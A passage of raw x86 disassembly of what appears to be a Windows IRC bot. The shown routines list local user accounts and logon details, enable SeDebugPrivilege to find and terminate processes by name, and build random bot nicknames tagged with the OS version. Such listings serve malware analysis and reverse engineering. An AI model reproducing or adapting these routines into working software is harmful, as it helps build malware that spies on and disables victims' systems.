push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412D4C
add esp, 20h
pop edi
pop ebx
jmp short loc_4139E0
; ---------------------------------------------------------------------------
loc_4139B4: ; CODE XREF: sub_413627+35j
push eax
lea eax, [ebp+var_204]
push offset dword_436EE0
push eax
call sub_4154E7
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_412D4C
add esp, 20h
loc_4139E0: ; CODE XREF: sub_413627+38Bj
cmp [ebp+var_4], 0
jz short loc_4139EF
push [ebp+var_4]
call dword_43A448
loc_4139EF: ; CODE XREF: sub_413627+40j
; sub_413627+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_413627 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4139F5 proc near ; CODE XREF: sub_40CE55+20BCp
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_41335C
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 18h
loc_413A34: ; CODE XREF: sub_4139F5+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_43A320
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_413A95
cmp eax, 0EAh
jz short loc_413A95
push eax
push eax
call sub_413B75
pop ecx
push eax
lea eax, [ebp+var_218]
push offset dword_4370E0
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 24h
jmp short loc_413B10
; ---------------------------------------------------------------------------
loc_413A95: ; CODE XREF: sub_4139F5+62j
; sub_4139F5+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_413B23
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_413B10
loc_413AA7: ; CODE XREF: sub_4139F5+EDj
cmp edi, esi
jz short loc_413AE6
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_5 ; " %S"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_413AA7
jmp short loc_413B10
; ---------------------------------------------------------------------------
loc_413AE6: ; CODE XREF: sub_4139F5+B4j
lea eax, [ebp+var_218]
push offset dword_437098
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 1Ch
loc_413B10: ; CODE XREF: sub_4139F5+9Ej
; sub_4139F5+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_413B23
push edi
call dword_43A448
xor edi, edi
mov [ebp+var_4], edi
loc_413B23: ; CODE XREF: sub_4139F5+A5j
; sub_4139F5+120j
cmp [ebp+var_C], 0EAh
jz loc_413A34
cmp edi, esi
jz short loc_413B3B
push edi
call dword_43A448
loc_413B3B: ; CODE XREF: sub_4139F5+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4139F5 endp
; =============== S U B R O U T I N E =======================================
sub_413B75 proc near ; CODE XREF: sub_4131CB+41p
; sub_4133C0+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_413C27
jz loc_413C20
cmp eax, 7Bh
ja short loc_413BEC
jz short loc_413BE2
cmp eax, 5
jz short loc_413BD8
cmp eax, 8
jz short loc_413BCE
cmp eax, 32h
jz short loc_413BC4
cmp eax, 35h
jz short loc_413BBA
cmp eax, 57h
jnz loc_413C76
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413BBA: ; CODE XREF: sub_413B75+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413BC4: ; CODE XREF: sub_413B75+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413BCE: ; CODE XREF: sub_413B75+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413BD8: ; CODE XREF: sub_413B75+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413BE2: ; CODE XREF: sub_413B75+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413BEC: ; CODE XREF: sub_413B75+1Aj
sub eax, 7Ch
jz short loc_413C19
sub eax, 7C8h
jz short loc_413C12
dec eax
jz short loc_413C08
dec eax
jnz short loc_413C76
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413C08: ; CODE XREF: sub_413B75+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_413C97
; ---------------------------------------------------------------------------
loc_413C12: ; CODE XREF: sub_413B75+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C19: ; CODE XREF: sub_413B75+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C20: ; CODE XREF: sub_413B75+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C27: ; CODE XREF: sub_413B75+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_413C60
jz short loc_413C59
sub eax, 8ADh
jz short loc_413C8B
dec eax
dec eax
jz short loc_413C52
dec eax
jz short loc_413C4B
dec eax
dec eax
jnz short loc_413C76
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C4B: ; CODE XREF: sub_413B75+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C52: ; CODE XREF: sub_413B75+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C59: ; CODE XREF: sub_413B75+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C60: ; CODE XREF: sub_413B75+B9j
sub eax, 8CAh
jz short loc_413C92
sub eax, 17h
jz short loc_413C8B
sub eax, 25h
jz short loc_413C84
sub eax, 29h
jz short loc_413C7D
loc_413C76: ; CODE XREF: sub_413B75+35j
; sub_413B75+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C7D: ; CODE XREF: sub_413B75+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C84: ; CODE XREF: sub_413B75+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C8B: ; CODE XREF: sub_413B75+C2j
; sub_413B75+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_413C97
; ---------------------------------------------------------------------------
loc_413C92: ; CODE XREF: sub_413B75+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_413C97: ; CODE XREF: sub_413B75+40j
; sub_413B75+4Aj ...
push offset dword_468C20
call sub_4154E7
pop ecx
mov eax, offset dword_468C20
pop ecx
retn
sub_413B75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413CA9 proc near ; CODE XREF: sub_40CE55+20FBp
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_4179F9
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call dword_42113C
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_4179F9
lea eax, [ebp+var_718]
push eax
call sub_4179DC
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_43A3C8
test eax, eax
jnz short loc_413D39
mov esi, offset dword_468A1C
push offset dword_437438
push esi
call sub_4154E7
pop ecx
pop ecx
jmp short loc_413D62
; ---------------------------------------------------------------------------
loc_413D39: ; CODE XREF: sub_413CA9+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_413B75
pop ecx
mov esi, offset dword_468A1C
push eax
push offset dword_4373FC
push esi
call sub_4154E7
add esp, 14h
loc_413D62: ; CODE XREF: sub_413CA9+8Ej
mov eax, esi
pop esi
leave
retn
sub_413CA9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413D67 proc near ; CODE XREF: sub_409DF3+7p
; sub_413DD2+5Fp ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call dword_421104
push eax
call dword_43A39C
test eax, eax
jnz short loc_413D86
leave
retn
; ---------------------------------------------------------------------------
loc_413D86: ; CODE XREF: sub_413D67+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_43A374
test eax, eax
jz short loc_413DC4
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_413DAD
or [ebp+var_8], 2
jmp short loc_413DB1
; ---------------------------------------------------------------------------
loc_413DAD: ; CODE XREF: sub_413D67+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_413DB1: ; CODE XREF: sub_413D67+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_43A424
mov esi, eax
loc_413DC4: ; CODE XREF: sub_413D67+32j
push [ebp+var_4]
call dword_42106C
mov eax, esi
pop esi
leave
retn
sub_413D67 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413DD2 proc near ; CODE XREF: sub_40CE55+47D9p
; sub_413F83+74p
var_550 = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_43A3D8, ebx
lea edi, [ebp+var_128]
mov [ebp+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_34C]
mov [ebp+var_350], ebx
rep stosd
jz loc_413F7C
cmp dword_43A3BC, ebx
jz loc_413F7C
cmp dword_43A2D8, ebx
jz loc_413F7C
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_413D67
pop ecx
pop ecx
push ebx
push 0Fh
call dword_43A3D8
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_413F6F
lea eax, [ebp+var_12C]
mov [ebp+var_12C], 128h
push eax
push [ebp+var_4]
call dword_43A3BC
mov esi, dword_42106C
test eax, eax
jz loc_413F6A
loc_413E75: ; CODE XREF: sub_413DD2+BEj
; sub_413DD2+CCj ...
lea eax, [ebp+var_12C]
push eax
push [ebp+var_4]
call dword_43A2D8
test eax, eax
jz loc_413F6A
cmp [ebp+arg_10], ebx
jnz short loc_413E75
cmp [ebp+arg_C], ebx
jnz loc_413F22
cmp [ebp+arg_4], ebx
jz short loc_413E75
push [ebp+var_124]
push 8
call dword_43A3D8
cmp [ebp+arg_14], ebx
mov edi, eax
mov [ebp+var_350], 224h
jz short loc_413EDF
lea eax, [ebp+var_350]
push eax
push edi
call dword_43A284
push [ebp+var_124]
test eax, eax
jz short loc_413EE5
lea eax, [ebp+var_230]
jmp short loc_413EEB
; ---------------------------------------------------------------------------
loc_413EDF: ; CODE XREF: sub_413DD2+EBj
push [ebp+var_124]
loc_413EE5: ; CODE XREF: sub_413DD2+103j
lea eax, [ebp+var_108]
loc_413EEB: ; CODE XREF: sub_413DD2+10Bj
push eax
lea eax, [ebp+var_550]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_4154E7
add esp, 10h
lea eax, [ebp+var_550]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
push edi
call esi
jmp loc_413E75
; ---------------------------------------------------------------------------
loc_413F22: ; CODE XREF: sub_413DD2+C3j
push [ebp+arg_C]
lea eax, [ebp+var_108]
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_413E75
push [ebp+var_124]
push ebx
push 1F0FFFh
call dword_42111C
push [ebp+var_4]
mov edi, eax
call esi
push ebx
push edi
call dword_421140
test eax, eax
jnz short loc_413F65
push edi
call esi
jmp short loc_413F7C
; ---------------------------------------------------------------------------
loc_413F65: ; CODE XREF: sub_413DD2+18Cj
push 1
pop eax
jmp short loc_413F7E
; ---------------------------------------------------------------------------
loc_413F6A: ; CODE XREF: sub_413DD2+9Dj
; sub_413DD2+B5j
push [ebp+var_4]
call esi
loc_413F6F: ; CODE XREF: sub_413DD2+75j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_413D67
pop ecx
pop ecx
loc_413F7C: ; CODE XREF: sub_413DD2+3Aj
; sub_413DD2+46j ...
xor eax, eax
loc_413F7E: ; CODE XREF: sub_413DD2+196j
pop edi
pop esi
pop ebx
leave
retn
sub_413DD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413F83 proc near ; DATA XREF: sub_40CE55+538Do
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset dword_437508
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_4154E7
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_413FE2
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_412D4C
add esp, 14h
loc_413FE2: ; CODE XREF: sub_413F83+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_413DD2
add esp, 18h
test eax, eax
jnz short loc_41400A
push offset dword_4374CC
jmp short loc_41400F
; ---------------------------------------------------------------------------
loc_41400A: ; CODE XREF: sub_413F83+7Ej
push offset dword_437494
loc_41400F: ; CODE XREF: sub_413F83+85j
lea eax, [ebp+var_298]
push eax
call sub_4154E7
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_414042
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_412D4C
add esp, 14h
loc_414042: ; CODE XREF: sub_413F83+9Dj
lea eax, [ebp+var_298]
push eax
call sub_40B16D
push [ebp+var_14]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048
pop edi
pop esi
sub_413F83 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_414061 proc near ; CODE XREF: sub_40CE55+477Bp
; sub_4150CE+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call dword_42111C
mov esi, eax
test esi, esi
jz short loc_414093
push 0
push esi
call dword_421140
test eax, eax
jnz short loc_414093
push esi
xor edi, edi
call dword_42106C
loc_414093: ; CODE XREF: sub_414061+1Aj
; sub_414061+27j
mov eax, edi
pop edi
pop esi
retn
sub_414061 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414098 proc near ; CODE XREF: sub_4036D4+Ap
; sub_403C8B+16p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call sub_415543
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_421668
call sub_415F8C
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_414098 endp
; =============== S U B R O U T I N E =======================================
sub_4140C8 proc near ; CODE XREF: sub_414433+49p
; DATA XREF: .nsp0:off_437550o
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
push esi
push edi
call dword_42104C
push eax
call sub_415539
mov edi, [esp+0Ch+arg_0]
mov [esp+0Ch+var_C], offset dword_42C22C
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_415A6A
xor esi, esi
add esp, 10h
cmp dword_42C1A0, esi
jle short loc_414121
loc_4140FB: ; CODE XREF: sub_4140C8+57j
call sub_415543
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_4375A4
push 1Ch
push edi
call sub_415A6A
add esp, 14h
inc esi
cmp esi, dword_42C1A0
jl short loc_4140FB
loc_414121: ; CODE XREF: sub_4140C8+31j
mov eax, edi
pop edi
pop esi
retn
sub_4140C8 endp
; =============== S U B R O U T I N E =======================================
sub_414126 proc near ; CODE XREF: sub_40CE55+3D4Ep
arg_0 = dword ptr 4
push ebx
push esi
push edi
call dword_42104C
push eax
call sub_415539
pop ecx
call sub_415543
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_42C1A0
test esi, esi
jle short loc_414169
loc_414153: ; CODE XREF: sub_414126+41j
call sub_415543
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_414153
loc_414169: ; CODE XREF: sub_414126+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_414126 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call dword_42104C
push eax
call sub_415539
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_4375AC
push eax
push esi
call dword_42113C
movsx eax, byte_4375AC
push 41h
pop ecx
push 1
pop edx
loc_4141AF: ; CODE XREF: .nsp0:004141BAj
cmp eax, ecx
jnz short loc_4141B6
mov [ebp-4], edx
loc_4141B6: ; CODE XREF: .nsp0:004141B1j
inc ecx
cmp ecx, 5Bh
jl short loc_4141AF
push 61h
pop ecx
loc_4141BF: ; CODE XREF: .nsp0:004141CAj
cmp eax, ecx
jnz short loc_4141C6
mov [ebp-4], edx
loc_4141C6: ; CODE XREF: .nsp0:004141C1j
inc ecx
cmp ecx, 7Bh
jl short loc_4141BF
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_415A6A
xor esi, esi
add esp, 0Ch
cmp dword_42C1A0, esi
jle short loc_41420B
loc_4141E5: ; CODE XREF: .nsp0:00414209j
call sub_415543
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_4375A4
push 1Ch
push edi
call sub_415A6A
add esp, 14h
inc esi
cmp esi, dword_42C1A0
jl short loc_4141E5
loc_41420B: ; CODE XREF: .nsp0:004141E3j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_42104C
push eax
call sub_415539
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call dword_421144
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_4375B0
push 1Ch
push edi
call sub_415A6A
xor esi, esi
add esp, 10h
cmp dword_42C1A0, esi
jle short loc_414280
loc_41425A: ; CODE XREF: .nsp0:0041427Ej
call sub_415543
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_4375A4
push 1Ch
push edi
call sub_415A6A
add esp, 14h
inc esi
cmp esi, dword_42C1A0
jl short loc_41425A
loc_414280: ; CODE XREF: .nsp0:00414258j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_438FDC
mov dword ptr [ebp-94h], 94h
call dword_42110C
call dword_42104C
push eax
call sub_415539
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_41430A
cmp dword ptr [ebp-8Ch], 0
jnz short loc_4142EA
cmp dword ptr [ebp-84h], 1
jnz short loc_4142DA
mov esi, offset a95 ; "95"
loc_4142DA: ; CODE XREF: .nsp0:004142D3j
cmp dword ptr [ebp-84h], 2
jnz short loc_414346
mov esi, offset aNt ; "NT"
jmp short loc_414346
; ---------------------------------------------------------------------------
loc_4142EA: ; CODE XREF: .nsp0:004142CAj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_4142FA
mov esi, offset a98 ; "98"
jmp short loc_414346
; ---------------------------------------------------------------------------
loc_4142FA: ; CODE XREF: .nsp0:004142F1j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_414341
mov esi, offset aMe ; "ME"
jmp short loc_414346
; ---------------------------------------------------------------------------
loc_41430A: ; CODE XREF: .nsp0:004142C1j
cmp dword ptr [ebp-90h], 5
jnz short loc_414341
cmp dword ptr [ebp-8Ch], 0
jnz short loc_414323
mov esi, offset a2k ; "2K"
jmp short loc_414346
; ---------------------------------------------------------------------------
loc_414323: ; CODE XREF: .nsp0:0041431Aj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_414333
mov esi, offset aXp ; "XP"
jmp short loc_414346
; ---------------------------------------------------------------------------
loc_414333: ; CODE XREF: .nsp0:0041432Aj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_4375BC
jz short loc_414346
loc_414341: ; CODE XREF: .nsp0:00414301j
; .nsp0:00414311j
mov esi, offset dword_42B7D0
loc_414346: ; CODE XREF: .nsp0:004142E1j
; .nsp0:004142E8j ...
mov edi, [ebp+8]
push esi
push offset dword_4375B4
push 1Ch
push edi
call sub_415A6A
xor esi, esi
add esp, 10h
cmp dword_42C1A0, esi
jle short loc_41438A
loc_414364: ; CODE XREF: .nsp0:00414388j
call sub_415543
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_4375A4
push 1Ch
push edi
call sub_415A6A
add esp, 14h
inc esi
cmp esi, dword_42C1A0
jl short loc_414364
loc_41438A: ; CODE XREF: .nsp0:00414362j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414390 proc near ; CODE XREF: sub_414433+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call dword_42104C
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_4143DF
call dword_43A3C4
test eax, eax
mov eax, offset dword_4375C8
jnz short loc_4143C8
mov eax, offset byte_438FDC
loc_4143C8: ; CODE XREF: sub_414390+31j
push eax
push esi
push offset dword_4375C0
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_415A6A
add esp, 14h
jmp short loc_4143FF
; ---------------------------------------------------------------------------
loc_4143DF: ; CODE XREF: sub_414390+22j
call dword_43A3C4
test eax, eax
mov eax, offset dword_4375C8
jnz short loc_4143F3
mov eax, offset byte_438FDC
loc_4143F3: ; CODE XREF: sub_414390+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_4154E7
pop ecx
pop ecx
loc_4143FF: ; CODE XREF: sub_414390+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_415CF0
pop ecx
cmp eax, 2
pop esi
jbe short loc_41442E
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_416F10
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_416D40
add esp, 18h
loc_41442E: ; CODE XREF: sub_414390+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_414390 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414433 proc near ; CODE XREF: sub_40CB75+7Fp
; sub_40CCDD+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_43754C
loc_41443F: ; CODE XREF: sub_414433+3Fj
cmp [ebp+arg_C], 0
jz short loc_41445A
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_415910
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_414464
; ---------------------------------------------------------------------------
loc_41445A: ; CODE XREF: sub_414433+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_414464: ; CODE XREF: sub_414433+25j
test eax, eax
jnz short loc_414476
add esi, 14h
inc edi
cmp esi, offset dword_4375B0
jl short loc_41443F
jmp short loc_414484
; ---------------------------------------------------------------------------
loc_414476: ; CODE XREF: sub_414433+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_437550[eax*4]
pop ecx
loc_414484: ; CODE XREF: sub_414433+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_414497
push [ebp+arg_0]
call sub_414390
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_414497: ; CODE XREF: sub_414433+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_414433 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41449C proc near ; DATA XREF: sub_414569+7Bo
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
